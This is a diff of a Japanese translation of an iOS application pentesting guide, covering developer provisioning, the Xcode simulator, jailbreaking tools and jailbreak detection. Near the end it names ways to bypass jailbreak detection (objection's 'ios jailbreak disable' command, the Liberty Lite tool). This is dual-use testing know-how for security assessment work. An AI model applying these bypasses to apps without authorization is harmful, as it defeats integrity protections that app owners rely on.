-**プロビジョニングアイデンティティ**は、Apple開発者アカウントに関連付けられた公開鍵と秘密鍵のコレクションです。**アプリに署名する**には、**99$/年**を支払って**Apple Developer Program**に登録し、プロビジョニングアイデンティティを取得する必要があります。これがないと、物理デバイスでソースコードからアプリケーションを実行することはできません。これを行う別のオプションは、**脱獄デバイス**を使用することです。 +**プロビジョニングアイデンティティ**は、Apple開発者アカウントに関連付けられた公開鍵と秘密鍵のコレクションです。**アプリに署名する**には、**99$/年**を支払って**Apple Developer Program**に登録し、プロビジョニングアイデンティティを取得する必要があります。これがないと、物理デバイスでソースコードからアプリケーションを実行することはできません。別の方法としては、**脱獄したデバイス**を使用することです。 -Xcode 7.2以降、Appleは**無料のiOS開発プロビジョニングプロファイル**を作成するオプションを提供しており、これにより実際のiPhoneでアプリケーションを作成およびテストできます。_Xcode_ --> _Preferences_ --> _Accounts_ --> _+_(あなたの資格情報で新しいAppli IDを追加)--> _作成したApple IDをクリック_ --> _Manage Certificates_ --> _+_(Apple Development)--> _Done_\ -\_\_次に、iPhoneでアプリケーションを実行するには、まず**iPhoneにコンピュータを信頼させる必要があります。**その後、_Xcodeからモバイルでアプリケーションを実行しようとできますが、エラーが表示されます。_Settings_ --> _General_ --> _Profiles and Device Management_ --> 信頼されていないプロファイルを選択し、"**Trust**"をクリックします。 +Xcode 7.2以降、Appleは**無料のiOS開発プロビジョニングプロファイル**を作成するオプションを提供しており、これにより実際のiPhoneでアプリケーションを作成およびテストできます。_Xcode_ --> _Preferences_ --> _Accounts_ --> _+_(資格情報に新しいアプリIDを追加)--> _作成したApple IDをクリック_ --> _Manage Certificates_ --> _+_(Apple Development)--> _Done_\ +\_\_次に、iPhoneでアプリケーションを実行するには、まず**iPhoneにコンピュータを信頼させる必要があります。**その後、Xcodeから**アプリケーションをモバイルで実行しようとしますが、エラーが表示されます。設定に移動して、_Settings_ --> _General_ --> _Profiles and Device Management_ --> 信頼されていないプロファイルを選択し、**「信頼」**をクリックします。 **同じ署名証明書で署名されたアプリケーションは、キーチェーンアイテムのように安全にリソースを共有できます**。 @@ -16,11 +16,11 @@ Xcode 7.2以降、Appleは**無料のiOS開発プロビジョニングプロフ ## **Simulator** > [!NOTE] -> **シミュレーターはエミュレーターとは異なる**ことに注意してください。シミュレーターはデバイスの動作と機能をシミュレートするだけで、実際にはそれらを使用しません。 +> **シミュレーターはエミュレーターとは異なる**ことに注意してください。シミュレーターはデバイスの動作や機能をシミュレートするだけで、実際にはそれらを使用しません。 ### **Simulator** -最初に知っておくべきことは、**シミュレーター内でのペンテストは、脱獄デバイスで行うよりもはるかに制限される**ということです。 +最初に知っておくべきことは、**シミュレーター内でのペンテストは、脱獄したデバイスで行うよりもはるかに制限される**ということです。 iOSアプリを構築およびサポートするために必要なすべてのツールは、**Mac OSでのみ公式にサポートされています**。\ Appleの事実上のツールは、iOSアプリケーションを作成/デバッグ/インスツルメントするための**Xcode**です。これを使用して、**シミュレーター**やアプリを構築および**テスト**するために必要なさまざまな**SDK** **バージョン**をダウンロードできます。\ @@ -37,7 +37,7 @@ Appleの事実上のツールは、iOSアプリケーションを作成/デバ ### Applications in the Simulator -`/Users//Library/Developer/CoreSimulator/Devices`内には、すべての**インストールされたシミュレーター**が見つかります。エミュレーターの1つ内で作成されたアプリケーションのファイルにアクセスしたい場合、**どのエミュレーターにアプリがインストールされているかを知るのが難しい**ことがあります。**正しいUIDを見つける**ための簡単な方法は、シミュレーターでアプリを実行し、次のコマンドを実行することです: +`/Users//Library/Developer/CoreSimulator/Devices`内には、すべての**インストールされたシミュレーター**が見つかります。エミュレーターの1つ内で作成されたアプリケーションのファイルにアクセスしたい場合、**どのエミュレーターにアプリがインストールされているかを知るのは難しい**かもしれません。**正しいUIDを見つける**ための簡単な方法は、シミュレーターでアプリを実行し、次のコマンドを実行することです: ```bash xcrun simctl list | grep Booted iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) @@ -46,28 +46,32 @@ UIDがわかれば、その中にインストールされているアプリは`/ しかし、驚くべきことに、ここではアプリケーションを見つけることはできません。`/Users//Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`にアクセスする必要があります。 -そして、このフォルダで**アプリケーションのパッケージを見つけることができます。** +このフォルダ内で**アプリケーションのパッケージを見つけることができます。** ## エミュレーター Corelliumは唯一の公開されているiOSエミュレーターです。これは、ユーザーごとのライセンスモデルを持つ企業向けSaaSソリューションであり、トライアルライセンスは提供されていません。 -## ジェイルブレイクは不要 +## ジェイルブレイク不要 -**非ジェイルブレイクデバイス**でiOSアプリケーションをペンテストする方法についてのブログ記事をチェックしてください: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) +**非ジェイルブレイクデバイス**でiOSアプリケーションをペンテストする方法についてのブログ記事をチェックしてください: + +{{#ref}} +ios-pentesting-without-jailbreak.md +{{#endref}} ## ジェイルブレイキング -Appleは、iPhone上で実行されるコードが**Appleによって発行された証明書で署名されている必要がある**と厳格に要求しています。**ジェイルブレイキング**は、OSによって設けられたそのような制限や他のセキュリティコントロールを**回避する**プロセスです。したがって、デバイスがジェイルブレイクされると、アプリがインストールされる際の**整合性チェック**がパッチされ、**バイパスされます**。 +Appleは、iPhone上で実行されるコードが**Appleによって発行された証明書で署名されている必要がある**と厳格に要求しています。**ジェイルブレイキング**は、そのような制限やOSによって設けられた他のセキュリティコントロールを**回避する**プロセスです。したがって、デバイスがジェイルブレイクされると、アプリがインストールされているかどうかを確認する**整合性チェック**がパッチされ、**バイパスされます**。 > [!NOTE] -> Androidとは異なり、iOSではデバイス上で未署名/信頼されていないコードを実行するために「開発者モード」に切り替えることは**できません**。 +> Androidとは異なり、iOSではデバイス上で未署名/信頼されていないコードを実行するために「開発者モード」に切り替えることはできません。 ### Androidのルート化とiOSのジェイルブレイキング -しばしば比較されますが、Androidの**ルート化**とiOSの**ジェイルブレイキング**は根本的に異なるプロセスです。Androidデバイスのルート化には、**`su`バイナリのインストール**や**ルート化されたカスタムROMへのシステムの置き換え**が含まれることがありますが、ブートローダーがアンロックされていれば必ずしもエクスプロイトを必要としません。**カスタムROMのフラッシュ**は、ブートローダーをアンロックした後にデバイスのOSを置き換え、時にはエクスプロイトが必要です。 +しばしば比較されますが、Androidの**ルート化**とiOSの**ジェイルブレイキング**は根本的に異なるプロセスです。Androidデバイスのルート化には、**`su`バイナリのインストール**や**ルート化されたカスタムROMでシステムを置き換える**ことが含まれる場合がありますが、ブートローダーがアンロックされていれば必ずしもエクスプロイトは必要ありません。**カスタムROMのフラッシング**は、ブートローダーをアンロックした後にデバイスのOSを置き換え、時にはエクスプロイトが必要です。 -対照的に、iOSデバイスはブートローダーがApple署名のイメージのみをブートするよう制限されているため、カスタムROMをフラッシュすることはできません。**iOSのジェイルブレイキング**は、未署名のコードを実行するためにAppleのコード署名保護を回避することを目的としており、Appleの継続的なセキュリティ強化によって複雑化しています。 +対照的に、iOSデバイスはブートローダーがApple署名のイメージのみをブートする制限のため、カスタムROMをフラッシュすることができません。**iOSのジェイルブレイキング**は、未署名のコードを実行するためにAppleのコード署名保護を回避することを目的としており、Appleの継続的なセキュリティ強化によって複雑化しています。 ### ジェイルブレイキングの課題 @@ -86,9 +90,9 @@ iOSの更新は**チャレンジレスポンスメカニズム**(SHSH blobs) ジェイルブレイキングツールはiOSのバージョンやデバイスによって異なります。[Can I Jailbreak?](https://canijailbreak.com)、[The iPhone Wiki](https://www.theiphonewiki.com)、および[Reddit Jailbreak](https://www.reddit.com/r/jailbreak/)などのリソースは最新の情報を提供します。例としては: -- [Checkra1n](https://checkra.in/)はA7-A11チップデバイス用。 -- [Palera1n](https://palera.in/)はiOS 15.0-16.5のCheckm8デバイス(A8-A11)用。 -- [Unc0ver](https://unc0ver.dev/)はiOSバージョン14.8まで対応。 +- A7-A11チップデバイス用の[Checkra1n](https://checkra.in/)。 +- iOS 15.0-16.5のCheckm8デバイス(A8-A11)用の[Palera1n](https://palera.in/)。 +- iOSバージョン14.8までの[Unc0ver](https://unc0ver.dev/)。 デバイスを変更することにはリスクが伴い、ジェイルブレイキングは慎重に行うべきです。 @@ -106,8 +110,8 @@ basic-ios-testing-operations.md **いくつかのアプリケーションは、モバイルがジェイルブレイクされているかどうかを検出し、その場合アプリケーションは実行されません** -- ジェイルブレイク後、iOSの**ファイルとフォルダが通常インストールされます**。これらを検索してデバイスがジェイルブレイクされているかどうかを判断できます。 -- ジェイルブレイクされたデバイスでは、アプリケーションが**サンドボックスの外の新しいファイルに対して読み書きアクセスを得ます** +- ジェイルブレイク後、iOSでは**ファイルとフォルダが通常インストールされます**。これらを検索してデバイスがジェイルブレイクされているかどうかを判断できます。 +- ジェイルブレイクされたデバイスでは、アプリケーションが**サンドボックス外の新しいファイルに対して読み書きアクセスを得ます** - 一部の**API** **呼び出し**は**異なる動作をします** - **OpenSSH**サービスの存在 - `/bin/sh`を呼び出すと**0ではなく1を返します** @@ -119,7 +123,7 @@ basic-ios-testing-operations.md ## **ジェイルブレイク検出バイパス** - この検出を回避するために、**objectionの**`ios jailbreak disable`を使用することができます。 -- ツール**Liberty Lite**をインストールすることもできます(https://ryleyangus.com/repo/)。リポジトリが追加されると、アプリは「検索」タブに表示されるはずです。 +- ツール**Liberty Lite**(https://ryleyangus.com/repo/)をインストールすることもできます。リポジトリが追加されると、アプリは「検索」タブに表示されるはずです。 ## 参考文献